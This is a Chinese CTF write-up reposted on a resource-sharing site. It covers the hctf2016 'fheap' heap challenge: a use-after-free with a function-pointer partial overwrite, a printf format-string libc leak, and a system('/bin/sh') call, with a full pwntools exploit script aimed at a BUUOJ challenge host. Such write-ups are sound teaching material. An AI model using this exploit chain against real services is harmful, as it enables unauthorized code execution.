hctf2016_fheap
保护测略
程序分析
只有两个程序功能,创建和删除
这道题每申请一个chunk前会创造一个用于存放信息的chunk,这类的题一般是控制或改变用于存放信息的chunk来展开攻击,
而且当输入的大小小于0xf时会把信息放到存放信息的chunk中,
漏洞利用
这道题的漏洞就是uaf,但是没有给show功能,但是发现我们可以修改got表,再加上free函数的地址放到存放信息的chunk中,利用小于0xf时会把信息放到存放信息的chunk中,free函数的地址也放到存放信息地chunk这几点来修改got表来达到
1、泄露程序基地址
2、泄露libc地址
3、执行system(/bin/sh)
上面三步基本都一样,所以就讲一下第一个
new(0x60,'\x00')#0 是不是0x60都可以反正是根据输入的大小来决定大小的
new(0x60,'\x00')#1
delete(1)
delete(0)
因为大小都小于0xf所以都放到存放信息的chunk中,这么做的一个主要原因是这个chunk中有一个程序的地址(执行free的chunk,)而且可以被执行,所以只要修改后一个半的字节就可以改为puts的plt地址用于puts的plt地址(也就是程序中地址)
当有了程序基地址后就可以知道printf的plt地址,基本步骤跟上面一样,执行printf函数实现格式化漏洞攻击的得到libc基地址,然后就是执行system函数
exp
from tools import*
context.log_level='debug'
context.arch='amd64'
def new(size,context):
p.sendlineafter('3.quit\n','create ')
p.sendlineafter('Pls give string size:',str(size))
p.sendafter('str:',context)
def delete(index):
p.sendlineafter('3.quit\n','delete ')
p.sendlineafter('id:',str(index))
p.sendlineafter('Are you sure?:','yes')
def pwn():
new(0x60,'\x00')#0
new(0x60,'\x00')#1
delete(1)
delete(0)
payload=b'a'*0x18+p64(0xd990)
new(0x60,payload)
debug(p,'pie',0xEE7,0xFF0,0xE56)
delete(1)
p.recvuntil(b'a'*0x18)
leak_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('leak_addr')
base_addr=leak_addr-0x990
log_addr('base_addr')
#leak libc_addr
delete(0)
payload=b'%21$p'+b'a'*(0x18-5)+p64(e.plt['printf']+base_addr)
new(0x60,payload)
delete(1)
leak_libc=int(p.recv(14),16)
libc_base=leak_libc-0x78c0f
log_addr('libc_base')
sys_addr=libc_base+libc.symbols['system']
delete(0)
payload=b'/bin/sh;'.ljust(0x18,b'a')+p64(sys_addr)
new(0x60,payload)
delete(1)
p.interactive()
while 1:
try :
p,e,libc=load('a','node4.buuoj.cn:26630')
pwn()
except:
p.close()
原文地址:http://www.cnblogs.com/trunk/p/16913217.html
1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2. 分享目的仅供大家学习和交流,请务用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员!
8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载
声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性